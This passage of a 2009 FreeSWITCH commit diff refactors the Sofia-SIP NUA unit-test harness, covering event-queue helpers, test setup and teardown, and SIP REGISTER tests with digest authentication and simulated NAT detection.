+  e->prev = NULL, e->next = NULL;
+
+  return e;
+}
+
+void s2_free_event(struct event *e)
+{
+  if (e) {
+    if (e->prev) {
+      if ((*e->prev = e->next))
+	e->next->prev = e->prev;
     }
+    nua_destroy_event(e->event);
+    nua_handle_unref(e->nh);
+    free(e);
   }
-#else
-  for (patterns = test_patterns; *patterns; patterns++) {
-    if (!strcmp(*patterns, name) || !strcmp(*patterns, "*")) {
-      if (strcmp(*patterns, "*")) {
-	printf("%s: running\n", name);
-      }
-      _tcase_add_test(tc, tf, name, 0, 0, 1);
-      return;
+}
+
+void s2_flush_events(void)
+{
+  while (s2->events) {
+    s2_free_event(s2->events);
+  }
+}
+
+struct event *s2_next_event(void)
+{
+  for (;;) {
+    if (s2->events)
+      return s2_remove_event(s2->events);
+
+    su_root_step(s2base->root, 100);
+  }
+}
+
+struct event *s2_wait_for_event(nua_event_t event, int status)
+{
+  struct event *e;
+
+  for (;;) {
+    for (e = s2->events; e; e = e->next) {
+      if (event != nua_i_none && event != e->data->e_event)
+	continue;
+      if (status && e->data->e_status != status)
+	continue;
+      return s2_remove_event(e);
     }
+
+    su_root_step(s2base->root, 100);
   }
+}
+
+int s2_check_event(nua_event_t event, int status)
+{
+  struct event *e = s2_wait_for_event(event, status);
+  s2_free_event(e);
+  return e != NULL;
+}
+
+int s2_check_callstate(enum nua_callstate state)
+{
+  int retval = 0;
+  tagi_t const *tagi;
+  struct event *e;
+
+  e = s2_wait_for_event(nua_i_state, 0);
+  if (e) {
+    tagi = tl_find(e->data->e_tags, nutag_callstate);
+    if (tagi) {
+      retval = (tag_value_t)state == tagi->t_value;
+    }
+  }
+  s2_free_event(e);
+  return retval;
+}
+
+int s2_check_substate(struct event *e, enum nua_substate state)
+{
+  int retval = 0;
+  tagi_t const *tagi;
+
+  tagi = tl_find(e->data->e_tags, nutag_substate);
+  if (tagi) {
+    retval = (tag_value_t)state == tagi->t_value;
+  }
+
+  return retval;
+}
+
+static void
+s2_nua_callback(nua_event_t event,
+		int status, char const *phrase,
+		nua_t *nua, nua_magic_t *_t,
+		nua_handle_t *nh, nua_hmagic_t *hmagic,
+		sip_t const *sip,
+		tagi_t tags[])
+{
+  struct event *e, **prev;
+
+  if (event == nua_i_active || event == nua_i_terminated)
+    return;
+
+  e = calloc(1, sizeof *e);
+  nua_save_event(nua, e->event);
+  e->nh = nua_handle_ref(nh);
+  e->data = nua_event_data(e->event);
+
+  for (prev = &s2->events; *prev; prev = &(*prev)->next)
+    ;
+
+  *prev = e, e->prev = prev;
+}
+
+
+/* ====================================================================== */
+
+SOFIAPUBVAR su_log_t nua_log[];
+SOFIAPUBVAR su_log_t soa_log[];
+SOFIAPUBVAR su_log_t nea_log[];
+SOFIAPUBVAR su_log_t nta_log[];
+SOFIAPUBVAR su_log_t tport_log[];
+SOFIAPUBVAR su_log_t su_log_default[];
+
+void
+s2_setup_logs(int level)
+{
+  su_log_soft_set_level(nua_log, level);
+  su_log_soft_set_level(soa_log, level);
+  su_log_soft_set_level(su_log_default, level);
+  su_log_soft_set_level(nea_log, level);
+  su_log_soft_set_level(nta_log, level);
+  su_log_soft_set_level(tport_log, level);
+
+  if (getenv("TPORT_LOG") == NULL && getenv("S2_TPORT_LOG") == NULL) {
+    if (s2sip)
+      tport_set_params(s2sip->master, TPTAG_LOG(level > 1), TAG_END());
+  }
+}
+
+nua_t *s2_nua_setup(char const *label,
+		    tag_type_t tag, tag_value_t value, ...)
+{
+  ta_list ta;
+
+  s2_setup(label);
+
+  s2 = su_home_new(sizeof *s2);
+
+  s2_dns_setup(s2base->root);
+
+  s2_setup_logs(0);
+  s2_sip_setup("example.org", NULL, TAG_END());
+  assert(s2sip->contact);
+
+  s2_dns_domain("example.org", 1,
+		"s2", 1, s2sip->udp.contact->m_url,
+		"s2", 1, s2sip->tcp.contact->m_url,
+		NULL);
+
+  /* enable/disable multithreading */
+  su_root_threading(s2base->root, s2_nua_thread);
+
+  ta_start(ta, tag, value);
+  s2->nua =
+    nua_create(s2base->root,
+	       s2_nua_callback,
+	       s2,
+	       SIPTAG_FROM_STR("Alice <sip:alice@example.org>"),
+	       /* NUTAG_PROXY((url_string_t *)s2sip->contact->m_url), */
+	       /* Use internal DNS server */
+	       NUTAG_PROXY("sip:example.org"),
+	       /* Force sresolv to use localhost and s2dns as DNS server */
+#if HAVE_WIN32
+	       SRESTAG_RESOLV_CONF("NUL"),
+#else
+	       SRESTAG_RESOLV_CONF("/dev/null"),
 #endif
+	       ta_tags(ta));
+  ta_end(ta);
+
+  return s2->nua;
 }
 
-int main(int argc, char *argv[])
+void
+s2_nua_fast_forward(unsigned long seconds,
+		    su_root_t *steproot)
 {
-  int failed = 0;
+  s2_fast_forward(seconds, NULL);
 
-  Suite *suite = suite_create("Unit tests for Sofia-SIP UA Engine");
-  SRunner *runner;
+  if (s2_nua_thread)
+    /* Wake up nua thread */
+    nua_handle_by_call_id(s2->nua, NULL);
 
-  if (getenv("CHECK_NUA_CASES")) {
-    size_t i;
-    char *s, **patterns;
-    char *cases = strdup(getenv("CHECK_NUA_CASES"));
+  if (steproot)
+    su_root_step(steproot, 0);
+}
 
-    /* Count commas */
-    for (i = 2, s = cases; (s = strchr(s, ',')); s++, i++);
+void s2_nua_teardown(void)
+{
+  if (s2) {
+    struct s2nua *zap = s2;
+    nua_destroy(s2->nua), s2->nua = NULL;
+    s2 = NULL;
+    su_home_unref(zap->home);
+  }
 
-    patterns = calloc(i, sizeof *patterns);
+  s2_dns_teardown();
+  s2_sip_teardown();
+  s2_teardown();
 
-    /* Split by commas */
-    for (i = 0, s = cases;; i++) {
-      patterns[i] = s;
-      if (s == NULL)
-	break;
-      s = strchr(s, ',');
-      if (s)
-	*s++ = '\0';
-    }
+}
 
-    test_patterns = (char const * const *)patterns;
+/* ====================================================================== */
+
+/** Register NUA user.
+ *
+ * <pre>
+ *  A                  B
+ *  |-----REGISTER---->|
+ *  |<-----200 OK------|
+ *  |                  |
+ * </pre>
+ */
+void s2_register_setup(void)
+{
+  nua_handle_t *nh;
+  struct message *m;
+
+  assert(s2 && s2->nua);
+  assert(!s2->registration->nh);
+
+  nh = nua_handle(s2->nua, NULL, TAG_END());
+
+  nua_register(nh, TAG_END());
+
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
+  assert(m);
+
+  s2_save_register(m);
+
+  s2_sip_respond_to(m, NULL,
+		SIP_200_OK,
+		SIPTAG_CONTACT(s2->registration->contact),
+		TAG_END());
+  s2_sip_free_message(m);
+
+  assert(s2->registration->contact != NULL);
+  fail_unless_event(nua_r_register, 200);
+
+  s2->registration->nh = nh;
+}
+
+/** Un-register NUA user.
+ *
+ * <pre>
+ *  A                  B
+ *  |-----REGISTER---->|
+ *  |<-----200 OK------|
+ *  |                  |
+ * </pre>
+ */
+void s2_register_teardown(void)
+{
+  if (s2 && s2->registration->nh) {
+    nua_handle_t *nh = s2->registration->nh;
+    struct message *m;
+
+    nua_unregister(nh, TAG_END());
+
+    m = s2_sip_wait_for_request(SIP_METHOD_REGISTER); assert(m);
+    s2_save_register(m);
+    s2_sip_respond_to(m, NULL,
+		  SIP_200_OK,
+		  SIPTAG_CONTACT(s2->registration->contact),
+		  TAG_END());
+    assert(s2->registration->contact == NULL);
+
+    s2_sip_free_message(m);
+
+    fail_unless_event(nua_r_unregister, 200);
+
+    nua_handle_destroy(nh);
+    s2->registration->nh = NULL;
   }
+}
 
-  check_register_cases(suite);
-  check_session_cases(suite);
+int
+s2_save_register(struct message *rm)
+{
+  sip_contact_t *contact, *m, **m_prev;
+  sip_expires_t const *ex;
+  sip_date_t const *date;
+  sip_time_t now = rm->when.tv_sec, expires;
 
-  runner = srunner_create(suite);
+  msg_header_free_all(s2->home, (msg_header_t *)s2->registration->aor);
+  msg_header_free_all(s2->home, (msg_header_t *)s2->registration->contact);
+  tport_unref(s2->registration->tport);
 
-  if (argv[1]) {
-    srunner_set_xml(runner, argv[1]);
+  s2->registration->aor = NULL;
+  s2->registration->contact = NULL;
+  s2->registration->tport = NULL;
+
+  if (rm == NULL)
+    return 0;
+
+  assert(rm && rm->sip && rm->sip->sip_request);
+  assert(rm->sip->sip_request->rq_method == sip_method_register);
+
+  ex = rm->sip->sip_expires;
+  date = rm->sip->sip_date;
+
+  contact = sip_contact_dup(s2->home, rm->sip->sip_contact);
+
+  for (m_prev = &contact; *m_prev;) {
+    m = *m_prev;
+
+    expires = sip_contact_expires(m, ex, date,
+				  s2_default_registration_duration,
+				  now);
+    if (expires) {
+      char *p = su_sprintf(s2->home, "expires=%lu", (unsigned long)expires);
+      msg_header_add_param(s2->home, m->m_common, p);
+      m_prev = &m->m_next;
+    }
+    else {
+      *m_prev = m->m_next;
+      m->m_next = NULL;
+      msg_header_free(s2->home, (msg_header_t *)m);
+    }
   }
-  srunner_run_all(runner, CK_ENV);
 
-  failed = srunner_ntests_failed(runner);
-  srunner_free(runner);
+  if (contact == NULL)
+    return 0;
 
-  exit(failed ? EXIT_FAILURE : EXIT_SUCCESS);
+  s2->registration->aor = sip_to_dup(s2->home, rm->sip->sip_to);
+  s2->registration->contact = contact;
+  s2->registration->tport = tport_ref(rm->tport);
+
+  s2sip->sut.aor = s2->registration->aor;
+  s2sip->sut.contact = s2->registration->contact;
+  s2sip->sut.tport = s2->registration->tport;
+
+  return 0;
 }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_nua.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_nua.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_nua.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,15 +1,113 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ */
+
 #ifndef CHECK_NUA_H
 
-#include <check.h>
+#include <sofia-sip/su_wait.h>
+#include <sofia-sip/sip.h>
+#include <sofia-sip/tport.h>
+#include <sofia-sip/nua.h>
+#include <sofia-sip/su_string.h>
 
-#undef tcase_add_test
-#define tcase_add_test(tc, tf) \
-  check_nua_tcase_add_test(tc, tf, "" #tf "")
+#include "s2base.h"
+#include "s2util.h"
+#include "s2sip.h"
 
-void check_nua_tcase_add_test(TCase *, TFun, char const *name);
+struct s2nua
+{
+  su_home_t home[1];
 
-void check_session_cases(Suite *suite);
-void check_register_cases(Suite *suite);
+  nua_t *nua;
 
+  int shutdown;
+
+  struct event {
+    struct event *next, **prev;
+    nua_saved_event_t event[1];
+    nua_handle_t *nh;
+    nua_event_data_t const *data;
+    su_time_t when;
+  } *events;
+
+  struct {
+    nua_handle_t *nh;
+    sip_to_t *aor;
+    sip_contact_t *contact;
+    tport_t *tport;
+  } registration[1];
+};
+
+extern unsigned s2_default_registration_duration;
+extern char const s2_auth_digest_str[];
+extern char const s2_auth_credentials[];
+
+extern char const s2_auth2_digest_str[];
+extern char const s2_auth2_credentials[];
+
+extern char const s2_auth3_digest_str[];
+extern char const s2_auth3_credentials[];
+
+extern int s2_nua_thread;
+
+extern struct s2nua *s2;
+
+void s2_setup_logs(int level);
+
+struct event *s2_remove_event(struct event *);
+void s2_free_event(struct event *);
+void s2_flush_events(void);
+
+struct event *s2_next_event(void);
+struct event *s2_wait_for_event(nua_event_t event, int status);
+int s2_check_event(nua_event_t event, int status);
+int s2_check_callstate(enum nua_callstate state);
+int s2_check_substate(struct event *e, enum nua_substate state);
+
+#define fail_unless_event(event, status) \
+  fail_unless(s2_check_event(event, status))
+
+#define SIP_METHOD_UNKNOWN sip_method_unknown, NULL
+
+void s2_flush_all(void);
+
+nua_t *s2_nua_setup(char const *label, tag_type_t tag, tag_value_t value, ...);
+
+void s2_nua_teardown(void);
+
+void s2_nua_fast_forward(unsigned long seconds,
+			 su_root_t *steproot);
+
+int s2_save_register(struct message *m);
+
+void s2_register_setup(void);
+void s2_register_teardown(void);
+
+#include <s2check.h>
+
+void check_session_cases(Suite *suite, int threading);
+void check_register_cases(Suite *suite, int threading);
+void check_etsi_cases(Suite *suite, int threading);
+void check_simple_cases(Suite *suite, int threading);
+
 #endif
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_register.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_register.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/check_register.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,10 +33,10 @@
 
 #include "config.h"
 
+#undef NDEBUG
+
 #include "check_nua.h"
 
-#include "test_s2.h"
-
 #include <sofia-sip/sip_status.h>
 #include <sofia-sip/sip_header.h>
 #include <sofia-sip/soa.h>
@@ -54,26 +54,62 @@
 
 static void register_setup(void)
 {
-  nua = s2_nua_setup(TAG_END());
+  nua = s2_nua_setup("register", TAG_END());
 }
 
-static void register_pingpong_setup(void)
+static void register_thread_setup(void)
 {
-  nua = s2_nua_setup(TPTAG_PINGPONG(20000),
+  s2_nua_thread = 1;
+  register_setup();
+}
+
+static void register_threadless_setup(void)
+{
+  s2_nua_thread = 1;
+  register_setup();
+}
+
+static void pingpong_setup(void)
+{
+  nua = s2_nua_setup("register with pingpong",
+		     TPTAG_PINGPONG(20000),
 		     TPTAG_KEEPALIVE(10000),
 		     TAG_END());
-  tport_set_params(s2->tcp.tport, TPTAG_PONG2PING(1), TAG_END());
+  tport_set_params(s2sip->tcp.tport, TPTAG_PONG2PING(1), TAG_END());
 }
 
+static void pingpong_thread_setup(void)
+{
+  s2_nua_thread = 1;
+  pingpong_setup();
+}
 
+static void pingpong_threadless_setup(void)
+{
+  s2_nua_thread = 0;
+  pingpong_setup();
+}
+
 static void register_teardown(void)
 {
+  s2_teardown_started("register");
   nua_shutdown(nua);
-  fail_unless(s2_check_event(nua_r_shutdown, 200));
+  fail_unless_event(nua_r_shutdown, 200);
   s2_nua_teardown();
 }
 
+static void add_register_fixtures(TCase *tc, int threading, int pingpong)
+{
+  void (*setup)(void);
 
+  if (pingpong)
+    setup = threading ? pingpong_thread_setup : pingpong_threadless_setup;
+  else
+    setup = threading ? register_thread_setup : register_threadless_setup;
+
+  tcase_add_checked_fixture(tc, setup, register_teardown);
+}
+
 /* ---------------------------------------------------------------------- */
 
 START_TEST(register_1_0_1)
@@ -81,16 +117,16 @@
   nua_handle_t *nh = nua_handle(nua, NULL, TAG_END());
   struct message *m;
 
-  s2_case("1.0.1", "Failed Register", "REGISTER returned 403 response");
+  S2_CASE("1.0.1", "Failed Register", "REGISTER returned 403 response");
 
   nua_register(nh, TAG_END());
 
-  fail_unless((m = s2_wait_for_request(SIP_METHOD_REGISTER)) != NULL, NULL);
+  fail_unless((m = s2_sip_wait_for_request(SIP_METHOD_REGISTER)) != NULL, NULL);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_403_FORBIDDEN,
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   nua_handle_destroy(nh);
 
@@ -99,7 +135,7 @@
 
 START_TEST(register_1_1_1)
 {
-  s2_case("1.1.1", "Basic Register", "REGISTER returning 200 OK");
+  S2_CASE("1.1.1", "Basic Register", "REGISTER returning 200 OK");
 
   s2_register_setup();
 
@@ -113,48 +149,48 @@
   nua_handle_t *nh;
   struct message *m;
 
-  s2_case("1.1.2", "Register with dual authentication",
+  S2_CASE("1.1.2", "Register with dual authentication",
 	  "Register, authenticate");
 
   nh = nua_handle(nua, NULL, TAG_END());
 
   nua_register(nh, TAG_END());
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER); fail_if(!m);
-  s2_respond_to(m, NULL,
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER); fail_if(!m);
+  s2_sip_respond_to(m, NULL,
 		SIP_407_PROXY_AUTH_REQUIRED,
 		SIPTAG_PROXY_AUTHENTICATE_STR(s2_auth_digest_str),
 		TAG_END());
-  s2_free_message(m);
-  s2_check_event(nua_r_register, 407);
+  s2_sip_free_message(m);
+  fail_unless_event(nua_r_register, 407);
 
   nua_authenticate(nh, NUTAG_AUTH(s2_auth_credentials), TAG_END());
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER); fail_if(!m);
-  s2_respond_to(m, NULL,
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER); fail_if(!m);
+  s2_sip_respond_to(m, NULL,
 		SIP_401_UNAUTHORIZED,
 		SIPTAG_WWW_AUTHENTICATE_STR(s2_auth2_digest_str),
 		SIPTAG_PROXY_AUTHENTICATE_STR(s2_auth_digest_str),
 		TAG_END());
-  s2_free_message(m);
-  s2_check_event(nua_r_register, 401);
+  s2_sip_free_message(m);
+  fail_unless_event(nua_r_register, 401);
 
   nua_authenticate(nh, NUTAG_AUTH(s2_auth2_credentials), TAG_END());
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m);
   fail_if(!m->sip->sip_authorization);
   fail_if(!m->sip->sip_proxy_authorization);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   assert(s2->registration->contact != NULL);
-  s2_check_event(nua_r_register, 200);
+  fail_unless_event(nua_r_register, 200);
 
   s2->registration->nh = nh;
 
@@ -164,10 +200,11 @@
 
 /* ---------------------------------------------------------------------- */
 
-static char const *receive_natted = "received=4.255.255.9";
+static char const receive_natted[] = "received=4.255.255.9";
+static char const receive_natted2[] = "received=4.255.255.10";
 
 /* Return Via that looks very natted */
-static sip_via_t *natted_via(struct message *m)
+static sip_via_t *natted_via(struct message *m, const char *receive_natted)
 {
   su_home_t *h;
   sip_via_t *via;
@@ -194,43 +231,43 @@
   nua_handle_t *nh;
   struct message *m;
 
-  s2_case("1.2.1", "Register behind NAT",
+  S2_CASE("1.2.1", "Register behind NAT",
 	  "Register through NAT, detect NAT, re-REGISTER");
 
   nh = nua_handle(nua, NULL, TAG_END());
 
   nua_register(nh, TAG_END());
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m);
   fail_if(!m->sip->sip_contact || m->sip->sip_contact->m_next);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   assert(s2->registration->contact != NULL);
-  s2_check_event(nua_r_register, 100);
+  fail_unless_event(nua_r_register, 100);
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m);
   fail_if(!m->sip->sip_contact || !m->sip->sip_contact->m_next);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   fail_unless(s2->registration->contact != NULL);
   fail_if(s2->registration->contact->m_next != NULL);
-  s2_check_event(nua_r_register, 200);
+  fail_unless_event(nua_r_register, 200);
 
   s2->registration->nh = nh;
 
@@ -250,19 +287,19 @@
   nua_register(nh, ta_tags(ta));
   ta_end(ta);
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER); fail_if(!m);
-  s2_respond_to(m, NULL,
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER); fail_if(!m);
+  s2_sip_respond_to(m, NULL,
 		SIP_401_UNAUTHORIZED,
 		SIPTAG_WWW_AUTHENTICATE_STR(s2_auth_digest_str),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
-  s2_check_event(nua_r_register, 401);
+  fail_unless_event(nua_r_register, 401);
 
   nua_authenticate(nh, NUTAG_AUTH(s2_auth_credentials), TAG_END());
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m);
   fail_if(!m->sip->sip_authorization);
   /* should not unregister the previous contact
@@ -271,15 +308,15 @@
   fail_if(m->sip->sip_contact->m_next);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   assert(s2->registration->contact != NULL);
-  s2_check_event(nua_r_register, 200);
+  fail_unless_event(nua_r_register, 200);
 
   return nh;
 }
@@ -288,7 +325,7 @@
 {
   nua_handle_t *nh = nua_handle(nua, NULL, TAG_END());
 
-  s2_case("1.2.2.1", "Register behind NAT",
+  S2_CASE("1.2.2.1", "Register behind NAT",
 	  "Authenticate, outbound activated");
 
   mark_point();
@@ -303,7 +340,7 @@
   nua_handle_t *nh = nua_handle(nua, NULL, TAG_END());
   struct message *m;
 
-  s2_case("1.2.2.2", "Register behind NAT",
+  S2_CASE("1.2.2.2", "Register behind NAT",
 	  "Authenticate, outbound activated, "
 	  "authenticate OPTIONS probe, "
 	  "NAT binding change");
@@ -314,63 +351,61 @@
 
   mark_point();
 
-  m = s2_wait_for_request(SIP_METHOD_OPTIONS);
+  m = s2_sip_wait_for_request(SIP_METHOD_OPTIONS);
   fail_if(!m);
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_407_PROXY_AUTH_REQUIRED,
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		SIPTAG_PROXY_AUTHENTICATE_STR(s2_auth_digest_str),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
   mark_point();
 
-  m = s2_wait_for_request(SIP_METHOD_OPTIONS);
+  m = s2_sip_wait_for_request(SIP_METHOD_OPTIONS);
   fail_if(!m); fail_if(!m->sip->sip_proxy_authorization);
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
-  su_root_step(s2->root, 20); su_root_step(s2->root, 20);
-  s2_fast_forward(120);	  /* Default keepalive interval */
+  su_root_step(s2base->root, 20); su_root_step(s2base->root, 20);
+  s2_nua_fast_forward(120, s2base->root);	  /* Default keepalive interval */
   mark_point();
 
-  m = s2_wait_for_request(SIP_METHOD_OPTIONS);
-  s2_respond_to(m, NULL,
+  m = s2_sip_wait_for_request(SIP_METHOD_OPTIONS);
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
-  su_root_step(s2->root, 20); su_root_step(s2->root, 20);
-  s2_fast_forward(120);	  /* Default keepalive interval */
+  su_root_step(s2base->root, 20); su_root_step(s2base->root, 20);
+  s2_nua_fast_forward(120, s2base->root);	  /* Default keepalive interval */
   mark_point();
 
-  receive_natted = "received=4.255.255.10";
-
-  m = s2_wait_for_request(SIP_METHOD_OPTIONS);
-  s2_respond_to(m, NULL,
+  m = s2_sip_wait_for_request(SIP_METHOD_OPTIONS);
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted2)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
-  s2_check_event(nua_i_outbound, 0);
+  fail_unless_event(nua_i_outbound, 0);
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m); fail_if(!m->sip->sip_authorization);
   fail_if(!m->sip->sip_contact || !m->sip->sip_contact->m_next);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted2)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
-  s2_check_event(nua_r_register, 200);
+  fail_unless_event(nua_r_register, 200);
 
   fail_unless(s2->registration->contact != NULL);
   fail_if(s2->registration->contact->m_next != NULL);
@@ -385,51 +420,49 @@
   nua_handle_t *nh = nua_handle(nua, NULL, TAG_END());
   struct message *m;
 
-  s2_case("1.2.2.3", "Register behind NAT",
+  S2_CASE("1.2.2.3", "Register behind NAT",
 	  "Authenticate, outbound activated, "
 	  "detect NAT binding change when re-REGISTERing");
 
   mark_point();
 
   make_auth_natted_register(nh,
-			    NUTAG_OUTBOUND("no-options-keepalive"),
+			    NUTAG_OUTBOUND("no-options-keepalive, no-validate"),
 			    TAG_END());
   s2->registration->nh = nh;
 
-  receive_natted = "received=4.255.255.10";
-
-  s2_fast_forward(3600);
+  s2_nua_fast_forward(3600, s2base->root);
   mark_point();
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m); fail_if(!m->sip->sip_authorization);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted2)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
-  s2_check_event(nua_r_register, 100);
+  fail_unless_event(nua_r_register, 100);
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m); fail_if(!m->sip->sip_authorization);
   fail_if(!m->sip->sip_contact || !m->sip->sip_contact->m_next);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted2)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   fail_unless(s2->registration->contact != NULL);
   fail_if(s2->registration->contact->m_next != NULL);
 
-  s2_check_event(nua_r_register, 200);
+  fail_unless_event(nua_r_register, 200);
 
   s2_register_teardown();
 
@@ -440,7 +473,7 @@
   nua_handle_t *nh;
   struct message *m;
 
-  s2_case("1.2.3", "Register behind NAT",
+  S2_CASE("1.2.3", "Register behind NAT",
 	  "Outbound activated by error response");
 
   nh = nua_handle(nua, NULL, TAG_END());
@@ -448,32 +481,32 @@
 
   mark_point();
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m);
   fail_if(!m->sip->sip_contact || m->sip->sip_contact->m_next);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		400, "Bad Contact",
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
-  s2_check_event(nua_r_register, 100);
+  fail_unless_event(nua_r_register, 100);
 
-  m = s2_wait_for_request(SIP_METHOD_REGISTER);
+  m = s2_sip_wait_for_request(SIP_METHOD_REGISTER);
   fail_if(!m);
   s2_save_register(m);
 
-  s2_respond_to(m, NULL,
+  s2_sip_respond_to(m, NULL,
 		SIP_200_OK,
 		SIPTAG_CONTACT(s2->registration->contact),
-		SIPTAG_VIA(natted_via(m)),
+		SIPTAG_VIA(natted_via(m, receive_natted)),
 		TAG_END());
-  s2_free_message(m);
+  s2_sip_free_message(m);
 
   fail_unless(s2->registration->contact != NULL);
   fail_if(s2->registration->contact->m_next != NULL);
-  s2_check_event(nua_r_register, 200);
+  fail_unless_event(nua_r_register, 200);
 
   s2->registration->nh = nh;
 
@@ -489,45 +522,45 @@
   nua_handle_t *nh;
   struct message *m;
 
-  s2_case("1.3.1", "Register over TCP via NAT",
+  S2_CASE("1.3.1", "Register over TCP via NAT",
 	  "REGISTER via TCP, detect NTA, re-REGISTER");
 
